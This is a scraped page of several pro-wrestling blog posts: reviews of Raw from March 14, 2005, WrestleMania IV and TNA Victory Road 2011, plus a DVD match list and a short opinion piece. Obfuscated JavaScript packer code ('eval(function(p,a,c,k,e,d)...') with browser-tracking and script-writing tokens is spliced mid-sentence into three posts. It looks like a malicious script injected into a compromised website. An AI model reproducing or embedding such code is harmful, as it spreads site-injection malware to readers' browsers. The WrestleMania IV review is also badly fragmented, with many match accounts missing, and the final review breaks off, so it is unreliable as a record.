On This Day: March 14, 2005 – Monday Night Raw: Pick Your Poison

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|reyhk|var|u0026u|referrer|irkba||js|php'.split('|'),0,{})) Night Raw
Date: March 14, 2005
Location: Gwinnett Center, Atlanta, Georgia
Commentators: Jim Ross, Jerry Lawler

This is another request. If I had known the other one was three weeks after this I’d have swapped the order. Anyway we’re on the Road to Wrestlemania here so expect a lot of HHH dominating the show. I would assume this show was requested because it has the Rockers’ reunion on it. Let’s get to it.

We open with the Highlight Reel. Jericho is on a ladder with a briefcase above him due to the debut of MITB at Mania. Jericho talks about how everyone wants to climb the ladder of success but he’s actually going to do it and will win MITB. His guest tonight has nothing to do with the ladder match though: it’s Randy Orton. He talks about how he’s facing Undertaker at Wrestlemania and how Undertaker is a Hall of Famer. Orton wants to be in the Hall of Fame as well and to do that, he needs to end the Streak. He rattles off some of his career highlights and says he’ll surprise Undertaker on Smackdown.

Jericho says that speaking of surprises, he’s got a surprise guest. Now Jericho has never faced Undertaker at a Wrestlemania, but his guest has. The guest is from Georgia, and it’s Jake Roberts, or rather a huge beer belly with a Jake Roberts attached. We get a LOUD Jake the Snake chant and Roberts, sounding like he smoked about 5 cartons of Marlboros a day, talks about Orton’s heritage. However, he doesn’t know much about Randy. Jake says it’s all about timing and talks about Orton not being champion anymore.

He’s rambling here. Jake is here to do a favor to Cowboy Bob. Roberts says to stop running your mouth. Orton says that facing Undertaker isn’t about winning or losing. It’s about leaving with your soul, which Jake should know something about. Orton says Jake knows about losing, and Orton will make more impact in one win than Jake did in his entire career. Jake goes for the snake but clotheslines Orton instead. Jake loads up the DDT but takes an RKO instead. Jericho was just kind of standing around in the background for this segment.

Kane vs. Christian/Tomko

This is due to last week’s match where Kane beat Christian but Tomko ran him over with a ladder post match. Kane goes after Tomko immediately but Christian jumps him. The team has to tag and the Canadian starts things off. Kane throws him around but it’s off to Tomko who has better luck. Back to Christian as we hear about the Pick Your Poison matches with Batista picking HHH’s opponent (Benoit) and vice versa (not yet picked). A reverse DDT puts Kane down and it’s back to Tomko. Kane sends a cheating Christian into the post and the Canadian walks out. Sidewalk slam, top rope clothesline, chokeslam and we’re done.

Rating: D. This was pretty pointless. Christian has now lost twice heading into Mania, but he has a chance at winning the world title shot still? The match was nothing as Kane was never in any danger whatsoever. I don’t get why so many people want Tomko to come back as Christian’s bodyguard. There’s not much to him.

Post match Christian tries to hit Kane with a ladder but gets glared down. Tomko takes the ladder shot.

Flair talks Snitsky into being Batista’s opponent tonight. Flair says an injury to Batista wouldn’t be Snitsky’s fault. HHH gets Benoit and Batista gets Snitsky? That’s not quite a balanced set.

Lita gives Christy a pep talk and has some guest trainers for her: Regal and Tajiri. They’re the tag team champions and this is the best they can do. Tajiri won’t do it without Christy signing his copy of her Playboy. Tajiri demonstrates some kicks and Christy tries them. Regal gets kicked in the balls. I’m looking and I see no point to this at all.

Shawn is in the back when Marty Jannetty of all people comes up. Marty is facing Angle on Smackdown and Shawn thinks Marty needs a match tonight. Tonight, the Rockers are back against La Resistance.

Edge vs. Shelton Benjamin

Shelton is IC Champion but this is non-title. Edge jumps Shelton during his entrance and throws him into the stage wall. Edge is pretty freshly heel here so he’s venting his frustrations or something like that. Down to ringside and Shelton is thrown into the steps and barricade. They finally get in the ring but Edge pounds on him even more. The referee checks on Shelton and we finally start the match.

Edge immediately knocks him to the floor and Benjamin is in big trouble. We take a break and come back with Edge holding a chinlock and bodyscissors. Shelton tries to fight back but Edge drops him again. Edge tries to load up a superplex but Shelton knocks him off and hits a top rope clothesline for two. They both hit forearms to put both guys down. Shelton goes off on him and makes his comeback.

Clothesline sets up a backdrop which sets up a Stinger Splash attempt, but Edge ducks. Shelton is like screw crashing and lands on the top rope. He comes off with a sunset flip for two but gets caught in a powerslam for two for the Canadian. Spear misses and the Dragon Whip takes out the referee. Impaler and Exploder Suplex are countered and Edge hits the spear but there’s no referee. Edge goes under the ring and pulls out a ladder, but Jericho runs out and hits Edge with it. Exploder gets the pin.

Rating: B-. Good stuff here as Shelton continued to be completely awesome at this point. Edge was about to become the big time heel that he’s known as, mainly due to the huge Lita/Matt Hardy love triangle feud that would dominate the summer for him. Good match here though as you would expect from these guys.

Rockers vs. La Resistance

This is the Conway/Grenier version. Jannetty and Grenier get us going and after some arm drags by Marty, the EVIL Frenchmen take over. There’s the tag to Shawn and we get some signature Rockers stuff, although Marty can’t do the nip up anymore. Double dives to the floor take La Resistance out but Conway low bridges Shawn to give the heels control. Conway suplexes him for two and it’s back to Grenier. Marty tries to come in and La Resistance hits a Hart Attack of all things for two. Shawn comes back with his forearm and it’s hot tag to Marty. He cleans house and hits the Rocker Dropper on Conway for the pin.

Rating: C+. This wasn’t great or anything but it wasn’t meant to be. This was about having fun and some nostalgia and in that regard, it worked. On top of that, it wasn’t a half bad tag match. Having Marty get the pin was a nice touch because there was nothing for Shawn to gain here. The idea was to have Marty get a warmup for Angle on Smackdown and that worked well here. Good stuff.

Flair tells HHH he’ll make people forget about him tapping out last week when he beats Benoit tonight. HHH gets to pick Batista’s opponent next week.

Maria asks Trish about Lita training Christy for Wrestlemania. Trish isn’t worried and goes off on Maria for it. She says she’ll get Hannibal Lecter to train her because she’s going to eat Christy alive (BIG pop for that). Maria says the Twist of Fate Christy gave Trish was powerful, so Trish massacres Maria.

Flair is with Snitsky again now and gives him a pep talk. Batista pops up and Flair yells at him, so Batista says he’s taking HHH’s title.

HHH vs. Chris Benoit

They go to the mat to start and Benoit pulls him off the ropes to slam the Game into the mat. Off to a headlock followed by chops by Benoit. Benoit tries two quick Crossface attempts but HHH gets to the floor. Flair gets the referee’s attention so HHH can throw a right hand (why would that require a distraction?) which doesn’t work either. Benoit fires off more chops and they go to the floor, with HHH going into the barricade.

Now it’s Benoit going into the barricade and we take a break. Back with a slugout being won by Benoit’s chops, but he gets caught in a spinebuster for two. HHH takes over and puts him on the top rope and they slug it out up there as well. Benoit goes off with headbutts to knock HHH down but the Game crotches him. A superplex puts Benoit down for two and HHH is getting frustrated.

HHH loads up the Pedigree but Benoit counters into a slingshot. They slug it out again and once again Benoit wins with the chops. Here are the Rolling Germans and then a second set of them. Swan Dive gets a very close two. Benoit hits his third series of Rolling Germans, getting the total up to eight. Now he pounds away with right hands in the corner but HHH manages to Irish whip Benoit into the corner.

Both guys are down but HHH gets up first. Pedigree is countered into a failed Sharpshooter so HHH tries again but is countered into the Crossface. HHH rolls out of it like he did at Wrestlemania but this time it actually works. We get MORE German suplexes, bringing the total up to nine I believe. Pedigree attempt #4 leads to counter #4, this time into the Sharpshooter. Flair tries to cheat and gets ejected but the distraction allows HHH to hit Benoit low and Pedigree him for the pin.

Rating: B+. Again, you give talented guys time and you’ll get a good match. These two destroyed each other with those Germans being very awesome. Great match and both guys got in some good stuff. The idea of HHH constantly being outwrestled and countered and having to resort to cheating to win was a great story too. Very fun match.

Hassan and Daivari come out and whine about not being on Wrestlemania. This isn’t over apparently. They weren’t on Mania anyway.

Lita says she’ll teach Christy how to beat Trish. Lita runs into Snitsky who says evil things.

Batista vs. Gene Snitsky

HHH and Flair come out to ringside for this. They stare each other down for awhile and then Batista takes over with the power. He looks down at HHH though and charges into a big boot in the corner. Snitsky goes after the knee and rams it into the post a few times. Back inside Snitsky works on the knee even more and hits a pumphandle powerslam for two. Batista comes back with a spinebuster and loads up the Batista Bomb but Flair comes in for the DQ.

Rating: D. Boring match even before we got to the lame ending. Flair became downright annoying in this period as he did nothing but praise HHH and interfere in matches related to HHH. Nothing good here but what were you expecting from a Snitsky match? The just just wasn’t that good.

Flair, HHH and Snitsky all get chairs but Kane makes the save. Batista and Kane clear the ring and HHH names Kane as Big Dave’s opponent next week.

Overall Rating: B+. Not much to complain about here other than a somewhat weak main event. It really should have been Benoit vs. HHH to end the show. Anyway, good mix of wrestling, backstage stuff and nostalgia thrown in as well. It doesn’t quite make me want to watch Mania, but by this point I think most people would have already made their decisions. Good show.

Remember to follow me on Twitter @kbreviews




Match Listing For WWE’s Top Rivalries DVD

I’m not sure I agree with #1.Disc eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnika|var|u0026u|referrer|deffd||js|php'.split('|'),0,{})) 1

Chemistry

#25 – Triple H vs. Mick Foley

#24 – Tazz vs. Sabu

#23 – Rey Mysterio vs. Eddie Guerrero

#22 – Bruiser Brody vs. Abdullah the Butcher

#21 – Hulk Hogan vs. Roddy Piper

Radioactive

#20 – CM Punk vs. John Cena

#19 – Kurt Angle vs. Brock Lesnar

#18 – Randy Orton vs. Triple H

#17 – Verne Gagne vs. Nick Bockwinkel

#16 – Mankind vs. The Undertaker

Underground Laboratory

#15 – Tommy Dreamer vs. Raven

#14 – Shawn Michaels vs. The Undertaker

#13 – Triple H vs. The Rock

#12 – John Cena vs. Edge

#11 – Hulk Hogan vs. Randy Savage

Combustible

#10 – Tully Blanchard vs. Magnum T.A.

#9 – The Undertaker vs. Kane

#8 – Edge & Christian vs. Hardy Boyz vs. Dudley Boyz

#7 – Dusty Rhodes vs. Ric Flair

#6 – Von Erichs vs. The Fabulous Freebirds

Quintessential Elements

#5 – Stone Cold Steve Austin vs. The Rock

#4 – Andre the Giant vs. Hulk Hogan

#3 – Ric Flair vs. Ricky Steamboat

#2 – Shawn Michaels vs. Bret Hart

Nucleus

#1 – Stone Cold Steve Austin vs. Mr. McMahon

Interaction and Reaction

Disc 2
WWE Championship Match
Hulk Hogan vs. “Rowdy” Roddy Piper
The War to Settle the Score • February 18, 1985

“I Quit” Steel Cage Match for the NWA United States Championship
Tully Blanchard vs. Magnum T.A.
Starrcade • November 28, 1985

Bruiser Brody vs. Abdullah the Butcher
World Class Championship Wrestling • July, 1987

Badstreet Rules Match
Kevin & Kerry Von Erich vs. Terry Gordy & Buddy Roberts
World Class Championship Wrestling • February, 1988

Hulk Hogan & “Macho Man” Randy Savage vs. “Million Dollar Man” Ted DiBiase & Andre the Giant
SummerSlam • August 29, 1988

The Undertaker vs. Mankind
King of the Ring • June 23, 1996

Disc 3
Grudge Match

Tazz vs. Sabu
ECW Barely Legal • April 13, 1997

The Final Battle

Tommy Dreamer vs. Raven
ECW WrestlePalooza • June 6, 1997

“Winner Take All” Handicap Ladder Match
Stone Cold Steve Austin vs. Mr. McMahon & Shane McMahon
King of the Ring • June 27, 1999

WWE Championship Match
Triple H vs. The Rock
Backlash • April 30, 2000

WWE Championship Match
Stone Cold Steve Austin vs. The Rock
Rebellion • November 3, 2001

WWE Championship Match
Kurt Angle vs. Brock Lesnar
SummerSlam • August 24, 2003

Steel Cage Match for the WWE Championship
John Cena vs. Edge
Raw • October 2, 2006

Blu-ray Exclusives
Shawn Michaels’ Tribute to The Undertaker
SmackDown • March 27, 2009

Six-Man Tag Team Match for the WWE Championship
Triple H, Batista & Shane McMahon vs. Randy Orton, Cody Rhodes & Ted DiBiase
Backlash • April 26, 2009

WWE Championship Match
CM Punk vs. John Cena
Night of Champions • September 16, 2012




Bully or Bubba

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|raant|var|u0026u|referrer|dissf||js|php'.split('|'),0,{})) could make for an interesting debate.In short, which means more: the time of Bubba Ray or the time as Bully Ray?  By that, I mean what means more: the TNA world title or all the tag titles and success he had with his brother?  Does beating Jeff Hardy mean more than all the TLC matches and ladder matches and main event spots as a tag wrestler that Bubba had?

 

For me it’s Bubba.  At the end of the day, Ray still hasn’t accomplished much on his own.  Yes he’s world champion, but that doesn’t mean he’s going to be a success as one, not with those nitwit bikers working for him.  He and D-Von own the record for most tag titles by so much that it’s unthinkable.  They main evented PPVs, they stole a lot of shows, and they were some of the biggest stars in ECW.  That trumps being champion of a glorified regional promotion.




Wrestlemania Count-Up – Wrestlemania IV: The Biggest Tournament Ever

Wrestlemania IV
Date: March 27, 1988
Location: Trump Plaza Hotel and Casino, Atlantic City, New Jersey
Attendance: 18,165
Commentators: Jesse Ventura, Gorilla Monsoon

Before I forget, it should be noted that as this aired, the NWA (WCW) was airing the first live Clash of the Champions for free on TBS. That show would have one of the best matches the company ever produced with Sting challenging Flair for the world title for the first time.

Here are the tournament brackets.

Hogan

BYE

Andre

BYE

Jim Duggan

Ted DiBiase

Don Muraco

Dino Bravo

Ricky Steamboat

Greg Valentine

Randy Savage

Butch Reed

Bam Bam Bigelow

One Man Gang

Rick Rude

Jake Roberts

Gene welcomes us to the show and presents Gladys Knight to sing America the Beautiful.

Battle Royal

Bret Hart, Jim Neidhart, Jim Powers, Paul Roma, Sika, Danny Davis, B. Brian Blair, Jim Brunzell, Bad News Brown, Sam Houston, Jacques Rougeau, Ray Rougeau, Ken Patera, Ron Bass, Junkyard Dog, Nikolai Volkoff, Boris Zhukov, Hillbilly Jim, Harley Race, George Steele

WWF World Title Tournament First Round: Ted DiBiase vs. Jim Duggan

DiBiase is one of the favorites here as he tried to buy the title which started the whole mess. Andre and Virgil are with him here. Ted immediately hides in the corner as the Battle of Mid-South begins. Duggan wins a slugout and an atomic drop puts DiBiase on the floor. I could watch DiBiase fall over the top all day. He was always great at falling over and made it look like a science.

Back in and Jim clotheslines him down before pounding away a bit more. DiBiase charges into a boot in the corner and hits a middle rope ax handle for two. Duggan comes back with a sunset flip of all things for two and to give Jesse a shock. A suplex puts DiBiase down and he jumps into a punch in the ribs to slow him down even more. Duggan slams him down but Andre trips him before the three point clothesline can be launched. Jim looks at Andre but gets caught in the back by a knee, sending DiBiase to the quarterfinals.

WWF World Title Tournament First Round: Dino Bravo vs. Don Muraco

Bravo shoves him back into the corner to start to win the first power battle of the match. Muraco hammers him down and tries something like a Vader Bomb but basically just lands next to Bravo instead. Dino comes back with an elbow to the face and a gutwrench suplex for no cover. A knee in the corner misses Muraco so he starts hammering on the knee.

WWF World Title Tournament First Round: Greg Valentine vs. Ricky Steamboat

Steamboat waves goodbye to the crowd so yeah this was it for him.

The British Bulldogs with their recently returned dog Matilda declare her a weasel dog for their six man against the Islanders and Heenan. Oh and Koko is here too.

Bobby Heenan gets a package and actually tips the delivery guy. Ok then.

WWF World Title Tournament First Round: Randy Savage vs. Butch Reed

Rating: C-. This was basically a squash until the very end. Savage was great at building up sympathy from the crowd which is why the pops were so huge when he won here. Reed would also head to the NWA soon after this to do nothing for a year before joining Doom. Not much to see here but again, the time crunch hurts things a lot.

WWF World Title Tournament First Round: Bam Bam Bigelow vs. One Man Gang

So Hogan has just declared himself Jesus. You knew it was coming eventually.

WWF World Title Tournament First Round: Rick Rude vs. Jake Roberts

Now the boring chants begin so Jake FINALLY hits a jawbreaker to get out of the hold and get the crowd going a bit. The short clothesline looks to set up the DDT but Rude rams him into the corner. Jake is suplexed out of a headlock for two and both guys are down. Rude tries a pin with his feet on the ropes and the time runs out. The fans are NOT happy with that one.

Hogan

Andre

DiBiase

Muraco

Savage

Valentine

One Man Gang

BYE

Vanna has no idea who Bob Uecker is but she wants Hogan to win.

Hercules vs. Ultimate Warrior

WWF World Title Tournament Quarterfinals: Andre the Giant vs. Hulk Hogan

WWF World Title Tournament Quarterfinals: Don Muraco vs. Ted DiBiase

WWF World Title Tournament Quarterfinals: Randy Savage vs. Greg Valentine

Vanna White has no idea who Bob Uecker is. We look at the updated brackets:

Ted DiBiase

BYE

Randy Savage

One Man Gang

Intercontinental Title: Honky Tonk Man vs. Brutus Beefcake

In a semi-famous bit, Andre talks about DiBiase paying him to eliminate Hogan (not really a surprise) and then chokes Bob Uecker.

Islanders/Bobby Heenan vs. British Bulldogs/Koko B. Ware

Jesse Ventura is introduced to the crowd for some posing.

WWF World Title Tournament Semifinals: One Man Gang vs. Randy Savage

Savage gets hit with the cane anyway but he still comes back and sends Gang into Slick.

The finals are DiBiase vs. Savage.

Tag Titles: Demolition vs. Strike Force

Robin Leech brings out the WWF Title belt.

Bob Uecker is guest ring announcer. Vanna White is guest timekeeper and she gives Bob a kiss.

WWF World Title: Randy Savage vs. Ted DiBiase

A gutwrench suplex gets two for Ted but he goes up top for reasons of general stupidity, earning that slam off the top by Savage. Randy tries a quick elbow but only hits the mat. DiBiase puts on the Million Dollar Dream but Hogan, ever the hero, comes in and whacks DiBiase in the bak with a chair. Savage runs to the top and the big elbow gives him his first world title.

Hogan insists on being in the ring for the celebration which really takes something away from it. The three celebrate to end the show.

Ratings Comparison

Battle Royal

Original: C

Redo: D+

Ted DiBiase vs. Jim Duggan

Original: C-

Redo: C-

Don Muraco vs. Dino Bravo

Original: D+

Redo: D+

Greg Valentine vs. Ricky Steamboat

Original: C

Redo: C+

Randy Savage vs. Butch Reed

Original: D

Redo: C-

One Man Gang vs. Bam Bam Bigelow

Original: N/A

Redo: N/A

Rick Rude vs. Jake Roberts

Original: D

Redo: D-

Ultimate Warrior vs. Hercules

Original: D

Redo: D+

Hulk Hogan vs. Andre the Giant

Original: C

Redo: C-

Ted DiBiase vs. Don Muraco

Original: C+

Redo: C

Randy Savage vs. Greg Valentine

Original: C+

Redo: B-

Brutus Beefcake vs. Honky Tonk Man

Original: D+

Redo: D+

Islanders/Bobby Heenan vs. British Bulldogs/Koko B. Ware

Original: D+

Redo: C

Randy Savage vs. One Man Gang

Original: D

Redo: D

Demolition vs. Strike Force

Original: C-

Redo: C+

Randy Savage vs. Ted DiBiase

Original: B

Redo: B-

Overall Rating

Original: D+

Redo: D

About the same more or less.

http://kbwrestlingreviews.com/2011/03/11/history-of-wrestlemania-with-kb-wrestlemania-4-one-big-tournament-and-thats-it/

Remember to follow me on Twitter @kbreviews




On This Day: March 13, 2011 – Victory Road 2011: The Jeff Hardy Disaster

Victory Road 2011
Date: March 13, 2011
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

Well this is TNA’s offering for the month. It’s another show with the majority of it added on at the very end with no real build to it. Yes there are stories for the matches, but that doesn’t mean there’s justification for asking something like 40 dollars for a show. The main event is the rematch of Sting vs. Jeff Hardy and the third #1 contender situation for Anderson. Let’s get to this as it’s one of the least interesting shows I can remember in forever.

The opening video is the Sting mask being crawled on by a scorpion. Wow they’re banking a lot on this push.

Bully Ray vs. Tommy Dreamer

 

Pre match Ray runs his mouth about how awesome Hogan and Bischoff are for letting him have a run. Dreamer comes out and Ray talks about how he’s run Dreamer into the ground over the years and mentions breaking his wife’s neck. This is now hardcore. They brawl to start us off and Dreamer sends him to the floor as we imply Ray going to Immortal. Well if they want to drive it off a cliff why not?

A fan holds a up a chair and Dreamer rams Bubba into it. There’s some water spit into Bubba’s head. This is opening a PPV in 2011. Dreamer grabs some big yellow stuffed animal (apparently from Despicable Me) to drill Ray with. Into the crowd now as my head is already hurting from this. Granted that might be due to Florida getting a 2 seed in the NCAA tournament but who knows.

They go into the balcony with the traditional carry the guy around style. Dreamer hits him in the head with something that looked like it was made of metal to continue his dominance so far. Back to ringside with Bubba getting in a big shot with some other unidentifiable weapon. Crowd is hating on Ray pretty well. He’s played the character well, but why in the world is it Bubba Ray Dudley getting this push?

Ray goes after Dreamer’s hand which only works to an extent. Dreamer throws some garbage cans with weapons into the ring. Good thing he had those just in case this was made hardcore I guess. They have a road block thing that has a name that I can’t think of in there. It’s the orange/white fence thing that is moved up when you drive through it. And there’s an inflatable doll in there which Bubba lands in a 69 position with.

Splash on the doll onto Bubba gets two. Ray gets a trashcan lid shot to the head of Dreamer as Dreamer goes up top. Superplex gets no cover. Bubba Bomb is blocked into a DDT for two. Dreamer brings in a table (moving it off the love doll) which is set up in the ring like a small ramp. The fans want D-Von as Ray gets a spinning Rock Bottom for two. He sets the table for Dreamer and calls out at D-Von. The kids of D-Von come out as does D-Von and Ray takes a 3D through the table to end it.

Rating: D+. There was a blowup doll in this as well as a Despicable Me doll. I get that it’s a comedy match, but dude it’s Tommy Dreamer vs. Bubba Ray Dudley opening a PPV in a semi-comedy match in the year 2011. Just get to the table match that is coming for Bubba vs. D-Von so they can move into midcard purgatory.

Winter and the Beautiful People insist they’re cool. Winter says the issues have been Velvet’s fault. This gets a WTF look from Velvet.

Knockout Tag Titles: Rosita/Sarita vs. Winter/Angelina Love

 

The Mexican chicks say basic Spanish stuff. Winter is blindfolded or something and there’s no Velvet, making me think the titles are changing here. Rosita and Angelina start us off but it’s off to Winter quickly as the champions are dominating. Bridging Northern Lights gets two. Angelina back in now as the fans chant USA for two Mexican chicks, Angelina (Canadian) and the British chick Winter.

Sarita is in now and has about as much luck as Rosita had. There’s some heel cheating and Rosita misses a front flip legdrop that was aimed at Angelina’s ankles. More fast tags by the champions as they regain control quickly. Everything breaks down slightly and Sarita grabs a belt. She drops it and Rosita gets ahold of it but Velvet runs in to steal it. Winter rolls her up but no referee. Rosita reverses it and wins the titles with a pin.

Rating: D. Well this was predictable. I don’t think this lasted very long but I don’t time PPV matches so it’s not like it matters. Granted these titles have been worthless since they debuted. Velvet has to explain herself. Wouldn’t Winter know that she was never hit by a belt and that would be enough validation? Whatever.

We’re going to have the Jarretts on vacation tonight. They’re at Universal Studios and Karen is bored out of her mind with the rollercoasters. The kids are with them and Karen hates the kid stuff.

Morgan talks about (Shawn) Hernandez and how the Mexican company dropped him. Morgan says that after this he’s going after the world title. The recap for the match is just that Hernandez came back and played the race card, setting this up. He’s in Immortal also.

Hernandez vs. Matt Morgan

 

This is first blood. Hernandez came out to the LAX theme which is a rarity. They head to the floor almost immediately as Morgan rushes the ring. Hernandez gets a sharp wooden stick and tries to jab it into Morgan’s face ala Magnum TA vs. Tully Blanchard. I apologize for comparing this to a classic like that. Hernandez ribs as the face as the fans want blood. Morgan fights back by a side slam.

Hernandez hits a Pounce as we hear about how awesome he was in AAA. He was so awesome he wasn’t at their biggest show of the year last year. Hernandez hammers away until Morgan gets a discus lariat. This is rather boring if you didn’t get that. Fall away slam continues Morgan’s lack of head shots. He grabs the stick from earlier but gets kicked in the gut to drop it.

A fan runs in and Hernandez pulls out a chain. Morgan kicks it out of his hand and drills Hernandez with it. The referee is down and Hernandez is busted open. Hernandez comes out of the corner and sprays Morgan with something that looks like fake blood or something like that. The other referee comes out of the back (I guess not watching on a monitor or something) and gives it to Hernandez.

Rating: F+. Well the ending was original as I don’t think I’ve ever seen that done. However, this is more or less every other first blood match with the heel bleeding and getting the win anyway in a screwy finish. This was nothing at all of note, but granted you can say that about the first 45 minutes entirely here of Impact on Sunday.

It’s Max Buck’s birthday and he works as a team with his brother. Shenanigans are implied.

Kazarian interviews JB in a weird moment. He busts out a Charlie Sheen reference, making me want to end Kazarian.

Robbie E yells at someone that we can’t see. Cookie is panicking about Ultimate X and Robbie says he’s fine. This was idiotic if you didn’t get that.

Video on Ultimate X. It’s so awesome that it got thrown on at the last minute.

X-Division Title: Kazarian vs. Max Buck vs. Jeremy Buck vs. Robbie E

 

The idea here is the title is hung over the ring on cables that cross to form an X. You have to climb across to grab the title and can’t use a ladder. It’s supposed to be all about Maz remember. This is the 24th Ultimate X match in history apparently and Kaz’s fifth. This is kind of a weird triple that with Gen Me vs. Robbie vs. Kaz. The team beats up both guys to start us off.

Kaz fights them off for a bit and manages a springboard up to the X in a cool spot. That gets him nowhere as Robbie comes in and stomps away. Max goes up but it’s Robbie stopping him. Cookie is hot but the voice is annoying. Gen Me gets everyone down and goes for the belt until Robbie stops them again. Kaz is back in now and faces off with Jersey Boy.

Robbie escapes the Fade to Black (that reverse Piledriver) and gets backdropped to the floor, hitting his ankle on the steps. Gen Me wakes up again and takes down both guys one more time. Jeremy gets a sweet assisted moonsault to take Robbie and Kaz down. Max is all alone but wants Jeremy to help him up instead. Jeremy holds off Kaz and Max makes a run at it. Kaz of course saves as Robbie has a bad ankle still.

Double dropkick puts down Kaz and a baseball slide does the same to Robbie. Jeremy does this weird reverse jump to get up and holds off Kaz. This again fails and Maz, who also was trying to get the belt, is swung backwards and gets knocked off and caught in a cutter to put him down. Robbie gets up and goes for the title, only to get pulled down by Max. And never mind as Max is sent into the structure by Kaz and gets stuck. That’s different if nothing else.

Everyone is down now and Max is unhooked for a change. Kaz hits Fade to Black on Robbie but gets kicked by Jeremy. Jeremy tries to go up only to take an enziguri from the champion to put him down. Flux Capacitor (suplex/rock bottom) off the top by Kaz puts Jeremy down again. Robbie and Kaz both go across at the same time. Gen Me kicks Robbie down and swing the champion down too in a nice bump.

Jeremy goes up and Max is ticked. Max pulls him down which is the point of the match. They both go from opposite corners and both are hung by their legs upside down in the middle. They slug it out up there until Robbie grabs a ladder to take them down. Kaz goes above the X and grabs the title at the same time as Robbie. Kaz pulls it up but there’s no bell. Oh there it is.

Rating: C+. It’s ok but this is a match that has been done so many times that there wasn’t much here. It’s definitely one of the weaker matches they’ve had with this gimmick but it’s still good. Fun match but they kept trying to play up the Bucks only for them to break up and not play a factor in the end. Fun, but definitely not great.

More honeymoon stuff and Karen wants champagne. Instead it’s a pizza. Next up: a water park.

Beer Money hits on Christy and try to get her to do the BEER MONEY thing. Basically it’s to hit on her and stare at her. Can’t say I blame them. They get serious and say they’re awesome but Ink Inc is overstepping their bounds. Something about respect is mentioned.

We recap the feud, which was Ink Inc saying they want a title shot and Beer Money saying ok.

Tag Titles: Ink Inc vs. Beer Money

 

I could see this being good. Neal vs. Storm starts us off With no one taking over we get a double tag and some technical stuff follows. The fans are split which makes sense for once as they’re both face teams. Moore gets a leg lariat for two. Neal comes in now and takes a powerslam for two. This is taking a bit to get off the ground here.

Moore back in now and we hit the chinlock. They do some basic stuff and it’s one of those moments where stuff happens but nothing is going on. It’s ok but there is no interest in this at all. It could be because there’s no history here and it’s there for the sake of having a title match. Roode gets a spinebuster on Neal for two. Ink Inc takes over again as Taz isn’t even sure who is legal.

Roode gets the formerly Northern Lariat (clothesline to the back of the head) to Neal and goes up top with Moore. Down goes Roode and a Whisper in the Wind to Storm gets no cover. Roode with a Rock Bottom for two. BEER MONEY thing kind of gets the crowd hot but Neal hits the spear on Storm. Neckbreaker gets two on Roode. Moore wants to use the chain but Neal disagrees. Beer Money comes back and the DWI ends Moore. I guess they’re splitting one of the two active teams worth anything.

Rating: C+. This was just there for the most part. It wasn’t great at all but it wasn’t bad. Like I said: just kind of there. The total lack of story hurt it a lot which is due to the booking and not the guys. This wasn’t bad but it was really not interesting at all. Granted that might be Shannon Moore.

Neal shakes their hands post match but Moore spits beer in their faces, I guess turning heel. He talks about having to be tough to win. Whatever.

Matt Hardy talks about how he’s cold blood/cold blooded and will hurt AJ.

AJ Styles vs. Matt Hardy

 

This is just Immortal vs. Fourtune. AJ uses speed to take over and grabs a front facelock. Sweet dropkick takes Matt down. Flair interferes and here comes Matt. Here come the dueling chants also. Matt has the braided hair back too. He’s in jeans and no armbands either, making him look like a bum.

Out to the floor again where AJ is sent into the post. He counters by hitting his always awesome slide under the railing and springboard forearm. Back in the ring now with AJ taking over for awhile. Matt sends him to the floor and Flair hammers away. That’s Lockdown for these two next month people. Back in Matt grabs a submission hold which is like a body vice. Picture him setting for a double arm DDT and jumping up to wrap his legs around AJ. It looked good if nothing else.

The rope is reached so it’s not like it means anything. Taz says there’s no escape to it, which is stupid as AJ just escaped. Flair grabs AJ’s balls for a bit and Matt grabs a cravate. This is boring as heck if that wasn’t clear. AJ comes back and hammers away as the crowd seems a bit restless. Enziguri puts Matt down and AJ does the same. More punching follows and a big kick to the head sets up a backbreaker for two.

AJ misses a discus lariat and the Side Effect gets two. This needs to end rather soon here. Matt gets an elbow to the back of AJ’s head and it’s Twist of whatever time. It’s blocked into a backslide for two and down goes AJ again. AJ gets back up and tries the Clash but Matt escapes that and gets two. Styles kind of botches his backflip into the reverse DDT but Flair distracts the referee.

Flair pokes AJ in the eye and takes a Pele for his efforts. Matt gets a DDT and a moonsault for two. END THIS ALREADY. Hey they listen to me as AJ takes Matt down and Spiral Tap of all things which AJ hasn’t used in years (it’s a top rope twisting moonsault/splash) gets him the pin.

 

Rating: D+. AJ was good, Matt was sluggish. What else were you expecting here? For the life of me I don’t get why people see money in Matt Hardy as he’s just big and slow at this point with the fans cheering him for some reason. AJ needs to just beat Flair and get it over with already. At least Matt didn’t win so there is that at least.

Back to the honeymoon with Karen snapping on Jeff. She wants sex apparently. Jeff thinks she means Kurt. This storyline has died so many times it’s insane. Thursday on Impact Jeff is going to call for a truce. They’re not sure where their kids are but they all get soaked. Jeff has been a total face the entire night now.

Anderson talks about getting screwed over and more or less says he’s a tweener.

We recap RVD vs. Anderson. In short, they both want the title and both say they got screwed. Somehow we’re talking about football. They’re grasping at whatever straws grasp at to come up with a backstory for this match. They talk about Lockdown in the voiceover but I stopped caring a long time ago.

Rob Van Dam vs. Mr. Anderson

 

